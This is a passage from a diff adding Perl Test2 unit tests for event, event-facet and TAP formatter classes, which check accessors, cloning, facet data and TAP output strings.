+ "Added some amnesty for the skip",
+);
+
+is($skip->name, 'skip me', "set name");
+is($skip->reason, 'foo', "got skip reason");
+ok(!$skip->pass, "no default for pass");
+ok($skip->effective_pass, "TODO always effectively passes");
+
+is($skip->summary, "skip me (SKIP: foo)", "summary with reason");
+
+$skip->set_reason('');
+is($skip->summary, "skip me (SKIP)", "summary without reason");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t
new file mode 100644
index 00000000000..209c48ec642
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Subtest.t
@@ -0,0 +1,57 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::Event::Subtest;
+my $st = 'Test2::Event::Subtest';
+
+my $trace = Test2::EventFacet::Trace->new(frame => [__PACKAGE__, __FILE__, __LINE__, 'xxx']);
+my $one = $st->new(
+ trace => $trace,
+ pass => 1,
+ buffered => 1,
+ name => 'foo',
+ subtest_id => "1-1-1",
+);
+
+ok($one->isa('Test2::Event::Ok'), "Inherit from Ok");
+is_deeply($one->subevents, [], "subevents is an arrayref");
+
+is($one->summary, "foo", "simple summary");
+$one->set_todo('');
+is($one->summary, "foo (TODO)", "simple summary + TODO");
+$one->set_todo('foo');
+is($one->summary, "foo (TODO: foo)", "simple summary + TODO + Reason");
+
+$one->set_todo(undef);
+$one->set_name('');
+is($one->summary, "Nameless Subtest", "unnamed summary");
+
+require Test2::Event::Pass;
+push @{$one->subevents} => Test2::Event::Pass->new(name => 'xxx');
+
+my $facet_data = $one->facet_data;
+ok($facet_data->{about}, "got parent facet data");
+
+is_deeply(
+ $facet_data->{parent},
+ {
+ hid => "1-1-1",
+ buffered => 1,
+ children => [
+ {
+ about => {
+ details => 'pass',
+ package => 'Test2::Event::Pass'
+ },
+ assert => {
+ details => 'xxx',
+ pass => 1
+ },
+ }
+ ],
+ },
+ "Got facet data"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t
new file mode 100644
index 00000000000..a1fd6b900c0
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/TAP/Version.t
@@ -0,0 +1,28 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::Event::TAP::Version';
+my $CLASS = 'Test2::Event::TAP::Version';
+
+like(
+ exception { $CLASS->new() },
+ qr/'version' is a required attribute/,
+ "Must specify the version"
+);
+
+my $one = $CLASS->new(version => 13);
+is($one->version, 13, "Got version");
+is($one->summary, "TAP version 13", "Got summary");
+
+is_deeply(
+ $one->facet_data,
+ {
+ about => { package => $CLASS, details => "TAP version 13"},
+ info => [{tag => 'INFO', debug => 0, details => "TAP version 13"}],
+ },
+ "Got facet data"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/V2.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/V2.t
new file mode 100644
index 00000000000..5214bafd4df
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/V2.t
@@ -0,0 +1,101 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+
+use Test2::API qw/context intercept/;
+
+use Test2::Event::V2();
+
+my $CLASS = 'Test2::Event::V2';
+
+ok($CLASS->isa('Test2::Event'), "Subclass of Test2::Event");
+
+is_deeply(
+ [Test2::Event::V2->non_facet_keys],
+ ['uuid', '_meta'],
+ "Got non-facet keys"
+);
+
+ok($CLASS->can($_), "has method $_") for qw{
+ causes_fail diagnostics global increments_count no_display sets_plan
+ subtest_id summary terminate
+ uuid set_uuid
+ meta
+ facet_data
+ about
+};
+
+ok(!exception { $CLASS->new(uuid => 2, about => {uuid => 2}) }, "Can have matching uuids");
+
+like(
+ exception { $CLASS->new(uuid => 1, about => {uuid => 2}) },
+ qr/uuid '1' passed to constructor, but uuid '2' is already set in the 'about' facet/,
+ "Cannot have a uuid mismatch"
+);
+
+my $one = $CLASS->new(uuid => 123);
+is($one->about->{uuid}, 123, "Set uuid in about facet");
+
+$one = $CLASS->new(about => { uuid => 123 });
+is($one->uuid, 123, "set uuid attribute");
+
+my $trace = {frame => ['main', 'file.t', 42, 'foo'], tid => 0, pid => $$};
+$one = $CLASS->new(trace => $trace);
+ok($trace != $one->trace, "Did not keep or modify the original trace ref");
+ok($one->trace->isa('Test2::EventFacet::Trace'), "Blessed the trace");
+is_deeply($one->trace, $trace, "Trace has all data");
+
+$one = $CLASS->new;
+ok(!$one->uuid, "no uuid attribute");
+ok(!$one->about->{uuid}, "no uuid in about facet");
+$one->set_uuid(123);
+is($one->about->{uuid}, 123, "Set uuid in about facet");
+is($one->uuid, 123, "set uuid attribute");
+
+
+$one = $CLASS->new(
+ uuid => '123',
+ trace => $trace,
+ assert => {pass => 1, details => 'pass'},
+ info => [{tag => 'NOTE', details => 'a note'}],
+);
+
+$one->set_meta('foo' => {'xyz' => 1});
+
+$one->{_custom_sttr} = 'xxx';
+
+is_deeply(
+ $one->facet_data,
+ {
+ trace => $trace,
+ assert => {pass => 1, details => 'pass'},
+ info => [{tag => 'NOTE', details => 'a note'}],
+ meta => {foo => {'xyz' => 1}},
+ about => {uuid => 123},
+ },
+ "Facet data has everything we want, and nothing we do not"
+);
+
+sub my_tool {
+ my $ctx = context();
+
+ my $event = $ctx->send_ev2(info => [{tag => 'NOTE', details => "This is a note"}]);
+
+ $ctx->release;
+
+ return $event;
+}
+
+my $events = intercept {
+ my_tool();
+};
+
+is(@$events, 1, "Got 1 event");
+ok($events->[0]->isa($CLASS), "Created the right type of event");
+is_deeply(
+ $events->[0]->facet_data->{info},
+ [{tag => 'NOTE', details => "This is a note"}],
+ "Got the specified info facet"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t
new file mode 100644
index 00000000000..be278b5937a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Event/Waiting.t
@@ -0,0 +1,31 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+use Test2::Event::Waiting;
+
+my $waiting = Test2::Event::Waiting->new(
+ trace => {},
+);
+
+ok($waiting, "Created event");
+ok($waiting->global, "waiting is global");
+
+is($waiting->summary, "IPC is waiting for children to finish...", "Got summary");
+
+my $facet_data = $waiting->facet_data;
+ok($facet_data->{about}, "Got common facet data");
+
+is_deeply(
+ $facet_data->{info},
+ [
+ {
+ tag => 'INFO',
+ debug => 0,
+ details => "IPC is waiting for children to finish...",
+ },
+ ],
+ "Got added info facet"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet.t
new file mode 100644
index 00000000000..44698320c64
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet.t
@@ -0,0 +1,24 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet';
+my $CLASS = 'Test2::EventFacet';
+
+my $one = $CLASS->new(details => 'foo');
+
+is($one->details, "foo", "Got details");
+
+is_deeply($one->clone, $one, "Cloning.");
+
+isnt($one->clone, $one, "Clone is a new ref");
+
+my $two = $one->clone(details => 'bar');
+is($one->details, 'foo', "Original details unchanged");
+is($two->details, 'bar', "Clone details changed");
+
+ok(!$CLASS->is_list, "Not a list by default");
+ok(!$CLASS->facet_key, "No key for base class");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t
new file mode 100644
index 00000000000..55e33763f62
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/About.t
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::About';
+my $CLASS = 'Test2::EventFacet::About';
+
+my $one = $CLASS->new(details => 'foo', package => 'bar', no_display => 0);
+
+is($one->details, "foo", "Got details");
+is($one->package, "bar", "Got package");
+is($one->no_display, 0, "Got no_display value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "Not a list");
+is($CLASS->facet_key, 'about', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t
new file mode 100644
index 00000000000..ae6a24f9a46
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Amnesty.t
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Amnesty';
+my $CLASS = 'Test2::EventFacet::Amnesty';
+
+my $one = $CLASS->new(details => 'foo', tag => 'bar', inherited => 0);
+
+is($one->details, "foo", "Got details");
+is($one->tag, "bar", "Got tag");
+is($one->inherited, 0, "Got 'inherited' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok($CLASS->is_list, "is a list");
+is($CLASS->facet_key, 'amnesty', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t
new file mode 100644
index 00000000000..c7252e5f4bd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Assert.t
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Assert';
+my $CLASS = 'Test2::EventFacet::Assert';
+
+my $one = $CLASS->new(details => 'foo', pass => 1, no_debug => 1);
+
+is($one->details, "foo", "Got details");
+is($one->pass, 1, "Got 'pass' value");
+is($one->no_debug, 1, "Got 'no_debug' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'assert', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t
new file mode 100644
index 00000000000..4249a9e988a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Control.t
@@ -0,0 +1,24 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Control';
+my $CLASS = 'Test2::EventFacet::Control';
+
+my $one = $CLASS->new(details => 'foo', global => 0, terminate => undef, halt => 0, has_callback => 1, encoding => 'utf8');
+
+is($one->details, "foo", "Got details");
+is($one->global, 0, "Got 'global' value");
+is($one->terminate, undef, "Got 'terminate' value");
+is($one->halt, 0, "Got 'halt' value");
+is($one->has_callback, 1, "Got 'has_callback' value");
+is($one->encoding, 'utf8', "Got 'utf8' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'control', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t
new file mode 100644
index 00000000000..0bd874b1c9a
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Error.t
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Error';
+my $CLASS = 'Test2::EventFacet::Error';
+
+my $one = $CLASS->new(details => 'foo', tag => 'uhg', fail => 1);
+
+is($one->details, "foo", "Got details");
+is($one->tag, 'uhg', "Got 'tag' value");
+is($one->fail, 1, "Got 'fail' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok($CLASS->is_list, "is a list");
+is($CLASS->facet_key, 'errors', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t
new file mode 100644
index 00000000000..080f3d2fbae
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Info.t
@@ -0,0 +1,21 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Info';
+my $CLASS = 'Test2::EventFacet::Info';
+
+my $one = $CLASS->new(details => 'foo', tag => 'bar', debug => 0);
+
+is($one->details, "foo", "Got details");
+is($one->tag, "bar", "Got tag");
+is($one->debug, 0, "Got 'debug' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok($CLASS->is_list, "is a list");
+is($CLASS->facet_key, 'info', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t
new file mode 100644
index 00000000000..5a51fecf00f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Meta.t
@@ -0,0 +1,25 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Meta';
+my $CLASS = 'Test2::EventFacet::Meta';
+
+my $one = $CLASS->new(details => 'foo', a => 1, b => 'bar', x => undef, set_details => 'xxx');
+
+is($one->details, "foo", "Got details");
+is($one->set_details, "xxx", "set_details is a regular field, not a writer");
+
+is($one->a, 1, "Got 'a'");
+is($one->b, 'bar', "Got 'b'");
+is($one->x, undef, "Got 'x'");
+is($one->blah, undef, "Vivified 'blah'");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'meta', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t
new file mode 100644
index 00000000000..8667f0b81dd
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Parent.t
@@ -0,0 +1,22 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Parent';
+my $CLASS = 'Test2::EventFacet::Parent';
+
+my $one = $CLASS->new(details => 'foo', hid => 'abc', children => [], buffered => 1);
+
+is($one->details, "foo", "Got details");
+is($one->hid, 'abc', "Got 'hid' value");
+is($one->buffered, 1, "Got 'buffered' value");
+is_deeply($one->children, [], "Got 'children' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'parent', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t
new file mode 100644
index 00000000000..efb28c35224
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Plan.t
@@ -0,0 +1,22 @@
+use strict;
+use warnings;
+
+use Test2::Tools::Tiny;
+
+use ok 'Test2::EventFacet::Plan';
+my $CLASS = 'Test2::EventFacet::Plan';
+
+my $one = $CLASS->new(details => 'foo', count => 100, skip => 1, none => 0);
+
+is($one->details, "foo", "Got details");
+is($one->count, 100, "Got 'count' value");
+is($one->skip, 1, "Got 'skip' value");
+is($one->none, 0, "Got 'none' value");
+
+is_deeply($one->clone, $one, "Cloning.");
+isnt($one->clone, $one, "Clone is a new ref");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'plan', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t
new file mode 100644
index 00000000000..7736cf9ffbe
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/EventFacet/Trace.t
@@ -0,0 +1,46 @@
+use strict;
+use warnings;
+use Test2::Tools::Tiny;
+use Test2::EventFacet::Trace;
+
+my $CLASS = 'Test2::EventFacet::Trace';
+
+like(
+ exception { $CLASS->new() },
+ qr/The 'frame' attribute is required/,
+ "got error"
+);
+
+my $one = $CLASS->new(frame => ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo']);
+is_deeply($one->frame, ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got frame");
+is_deeply([$one->call], ['Foo::Bar', 'foo.t', 5, 'Foo::Bar::foo'], "Got call");
+is($one->package, 'Foo::Bar', "Got package");
+is($one->file, 'foo.t', "Got file");
+is($one->line, 5, "Got line");
+is($one->subname, 'Foo::Bar::foo', "got subname");
+
+is($one->debug, "at foo.t line 5", "got trace");
+$one->set_detail("yo momma");
+is($one->debug, "yo momma", "got detail for trace");
+$one->set_detail(undef);
+
+is(
+ exception { $one->throw('I died') },
+ "I died at foo.t line 5.\n",
+ "got exception"
+);
+
+is_deeply(
+ warnings { $one->alert('I cried') },
+ [ "I cried at foo.t line 5.\n" ],
+ "alter() warns"
+);
+
+my $snap = $one->snapshot;
+is_deeply($snap, $one, "identical");
+ok($snap != $one, "Not the same instance");
+
+ok(!$CLASS->is_list, "is not a list");
+is($CLASS->facet_key, 'trace', "Got key");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t
new file mode 100644
index 00000000000..6f31c888aea
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Test2/modules/Formatter/TAP.t
@@ -0,0 +1,1019 @@
+use strict;
+use warnings;
+# HARNESS-NO-PRELOAD
+
+my $CLASS;
+my %BEFORE_LOAD;
+
+BEGIN {
+ my $old = select STDOUT;
+ $BEFORE_LOAD{STDOUT} = $|;
+ select STDERR;
+ $BEFORE_LOAD{STDERR} = $|;
+ select $old;
+
+ require Test2::Formatter::TAP;
+ $CLASS = 'Test2::Formatter::TAP';
+ *OUT_STD = $CLASS->can('OUT_STD') or die "Could not get OUT_STD constant";
+ *OUT_ERR = $CLASS->can('OUT_ERR') or die "Could not get OUT_ERR constant";
+}
+
+use Test2::Tools::Tiny;
+use Test2::API qw/context/;
+
+BEGIN {
+ eval {
+ require PerlIO;
+ PerlIO->VERSION(1.02); # required for PerlIO::get_layers
+ } or do {
+ print "1..0 # SKIP Don't have PerlIO 1.02\n";
+ exit 0;
+ }
+}
+
+sub grabber {
+ my ($std, $err);
+ open( my $stdh, '>', \$std ) || die "Ooops";
+ open( my $errh, '>', \$err ) || die "Ooops";
+
+ my $it = $CLASS->new(
+ handles => [$stdh, $errh, $stdh],
+ );
+
+ return ($it, \$std, \$err);
+}
+
+tests "IO handle stuff" => sub {
+ ok($CLASS->can($_), "$CLASS has the '$_' method") for qw/no_numbers handles/;
+ ok($CLASS->isa('Test2::Formatter'), "$CLASS isa Test2::Formatter");
+
+ ok(!$BEFORE_LOAD{STDOUT}, "AUTOFLUSH was not on for STDOUT before load");
+ ok(!$BEFORE_LOAD{STDERR}, "AUTOFLUSH was not on for STDERR before load");
+ my $old = select STDOUT;
+ ok($|, "AUTOFLUSH was turned on for STDOUT");
+ select STDERR;
+ ok($|, "AUTOFLUSH was turned on for STDERR");
+ select $old;
+
+ ok(my $one = $CLASS->new, "Created a new instance");
+ my $handles = $one->handles;
+ is(@$handles, 2, "Got 2 handles");
+ ok($handles->[0] != $handles->[1], "First and second handles are not the same");
+ my $layers = {map { $_ => 1 } PerlIO::get_layers($handles->[0])};
+
+ if (${^UNICODE} & 2) { # 2 means STDIN
+ ok($layers->{utf8}, "'S' is set in PERL_UNICODE, or in -C, honor it, utf8 should be on");
+ }
+ else {
+ ok(!$layers->{utf8}, "Not utf8 by default");
+ }
+
+ $one->encoding('utf8');
+ is($one->encoding, 'utf8', "Got encoding");
+ $handles = $one->handles;
+ is(@$handles, 2, "Got 2 handles");
+ $layers = {map { $_ => 1 } PerlIO::get_layers($handles->[OUT_STD])};
+ ok($layers->{utf8}, "Now utf8");
+
+ my $two = $CLASS->new(encoding => 'utf8');
+ $handles = $two->handles;
+ is(@$handles, 2, "Got 2 handles");
+ $layers = {map { $_ => 1 } PerlIO::get_layers($handles->[OUT_STD])};
+ ok($layers->{utf8}, "Now utf8");
+
+ $old = select $handles->[OUT_STD];
+ ok($|, "AUTOFLUSH was turned on for copy-STDOUT");
+ select select $handles->[OUT_ERR];
+ ok($|, "AUTOFLUSH was turned on for copy-STDERR");
+ select $old;
+
+ ok($CLASS->hide_buffered, "TAP will hide buffered events");
+ ok(!$CLASS->no_subtest_space, "Default formatter does not have subtest space");
+};
+
+tests optimal_pass => sub {
+ my ($it, $out, $err) = grabber();
+
+ my $fail = Test2::Event::Fail->new;
+ ok(!$it->print_optimal_pass($fail, 1), "Not gonna print a non-pass");
+
+ $fail = Test2::Event::Ok->new(pass => 0);
+ ok(!$it->print_optimal_pass($fail, 1), "Not gonna print a non-pass");
+
+ my $pass = Test2::Event::Pass->new();
+ $pass->add_amnesty({tag => 'foo', details => 'foo'});
+ ok(!$it->print_optimal_pass($pass, 1), "Not gonna print amnesty");
+
+ $pass = Test2::Event::Ok->new(pass => 1, todo => '');
+ ok(!$it->print_optimal_pass($pass, 1), "Not gonna print todo (even empty todo)");
+
+ $pass = Test2::Event::Ok->new(pass => 1, name => "foo # bar");
+ ok(!$it->print_optimal_pass($pass, 1), "Not gonna pritn a name with a hash");
+
+ $pass = Test2::Event::Ok->new(pass => 1, name => "foo \n bar");
+ ok(!$it->print_optimal_pass($pass, 1), "Not gonna pritn a name with a newline");
+
+ ok(!$$out, "No std output yet");
+ ok(!$$err, "No err output yet");
+
+ $pass = Test2::Event::Pass->new();
+ ok($it->print_optimal_pass($pass, 1), "Printed a simple pass without a name");
+
+ $pass = Test2::Event::Pass->new(name => 'xxx');
+ ok($it->print_optimal_pass($pass, 1), "Printed a simple pass with a name");
+
+ $pass = Test2::Event::Ok->new(pass => 1, name => 'xxx');
+ ok($it->print_optimal_pass($pass, 1), "Printed an 'Ok' pass with a name");
+
+ $pass = Test2::Event::Pass->new(name => 'xxx', trace => { nested => 1 });
+ ok($it->print_optimal_pass($pass, 1), "Printed a nested pass");
+ $pass = Test2::Event::Pass->new(name => 'xxx', trace => { nested => 3 });
+ ok($it->print_optimal_pass($pass, 1), "Printed a deeply nested pass");
+
+ $pass = Test2::Event::Pass->new(name => 'xxx');
+ $it->{no_numbers} = 1;
+ ok($it->print_optimal_pass($pass, 1), "Printed a simple pass with a name");
+
+ is($$out, <<" EOT", "Got expected TAP output");
+ok 1
+ok 1 - xxx
+ok 1 - xxx
+ ok 1 - xxx
+ ok 1 - xxx
+ok - xxx
+ EOT
+
+ is($it->{_last_fh}, $it->handles->[OUT_STD], "Set the last filehandle");
+
+ ok(!$$err, "No err output");
+};
+
+tests plan_tap => sub {
+ my ($it, $out, $err) = grabber();
+
+ is_deeply([$it->plan_tap({})], [], "Nothing with no plan facet");
+
+ is_deeply(
+ [$it->plan_tap({plan => { none => 1 }})],
+ [],
+ "no-plan has no output"
+ );
+
+ is_deeply(
+ [$it->plan_tap({plan => { count => 20 }})],
+ [[OUT_STD, "1..20\n"]],
+ "Wrote the plan from, count"
+ );
+
+ is_deeply(
+ [$it->plan_tap({plan => { count => 'anything', skip => 1 }})],
+ [[OUT_STD, "1..0 # SKIP\n"]],
+ "Skip, no reason"
+ );
+
+ is_deeply(
+ [$it->plan_tap({plan => { count => 'anything', skip => 1, details => 'I said so' }})],
+ [[OUT_STD, "1..0 # SKIP I said so\n"]],
+ "Skip with reason"
+ );
+
+ ok(!$$out, "No std output yet");
+ ok(!$$err, "No err output yet");
+};
+
+tests assert_tap => sub {
+ my ($it, $out, $err) = grabber();
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1}}, 1)],
+ [[OUT_STD, "ok 1\n"]],
+ "Pass",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0}}, 1)],
+ [[OUT_STD, "not ok 1\n"]],
+ "Fail",
+ );
+
+ tests amnesty => sub {
+ tests pass_no_name => sub {
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "ok 1 # skip xxx\n"]],
+ "Pass with skip (with details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'skip'}]}, 1)],
+ [[OUT_STD, "ok 1 # skip\n"]],
+ "Pass with skip (without details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "ok 1 # TODO xxx\n"]],
+ "Pass with TODO (with details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'TODO'}]}, 1)],
+ [[OUT_STD, "ok 1 # TODO\n"]],
+ "Pass with TODO (without details)",
+ );
+
+ is_deeply(
+ [
+ $it->assert_tap(
+ {
+ assert => {pass => 1},
+ amnesty => [
+ {tag => 'TODO', details => 'xxx'},
+ {tag => 'skip', details => 'yyy'},
+ ]
+ },
+ 1
+ )
+ ],
+ [[OUT_STD, "ok 1 # TODO & SKIP yyy\n"]],
+ "Pass with skip and TODO",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "ok 1 # foo xxx\n"]],
+ "Pass with other amnesty",
+ );
+ };
+
+ tests pass_with_name => sub {
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "ok 1 - bob # skip xxx\n"]],
+ "Pass with skip (with details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'skip'}]}, 1)],
+ [[OUT_STD, "ok 1 - bob # skip\n"]],
+ "Pass with skip (without details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "ok 1 - bob # TODO xxx\n"]],
+ "Pass with TODO (with details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'TODO'}]}, 1)],
+ [[OUT_STD, "ok 1 - bob # TODO\n"]],
+ "Pass with TODO (without details)",
+ );
+
+ is_deeply(
+ [
+ $it->assert_tap(
+ {
+ assert => {pass => 1, details => 'bob'},
+ amnesty => [
+ {tag => 'TODO', details => 'xxx'},
+ {tag => 'skip', details => 'yyy'},
+ ]
+ },
+ 1
+ )
+ ],
+ [[OUT_STD, "ok 1 - bob # TODO & SKIP yyy\n"]],
+ "Pass with skip and TODO",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 1, details => 'bob'}, amnesty => [{tag => 'foo', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "ok 1 - bob # foo xxx\n"]],
+ "Pass with other amnesty",
+ );
+ };
+
+ tests fail_no_name => sub {
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'skip', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "not ok 1 # skip xxx\n"]],
+ "Pass with skip (with details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'skip'}]}, 1)],
+ [[OUT_STD, "not ok 1 # skip\n"]],
+ "Pass with skip (without details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'TODO', details => 'xxx'}]}, 1)],
+ [[OUT_STD, "not ok 1 # TODO xxx\n"]],
+ "Pass with TODO (with details)",
+ );
+
+ is_deeply(
+ [$it->assert_tap({assert => {pass => 0}, amnesty => [{tag => 'TODO'}]}, 1)],
+ [[OUT_STD, "not ok 1 # TODO\n"]],
+ "Pass with TODO (without details)",
+ );
+
+ is_deeply(
+ [
+ $it->assert_tap(
+ {
+ assert => {pass => 0},
+ amnesty => [
+ {tag => 'TODO', details => 'xxx'},
+ {tag => 'skip', details => 'yyy'},
+ ]
+ },
+ 1
+ )
+ ],
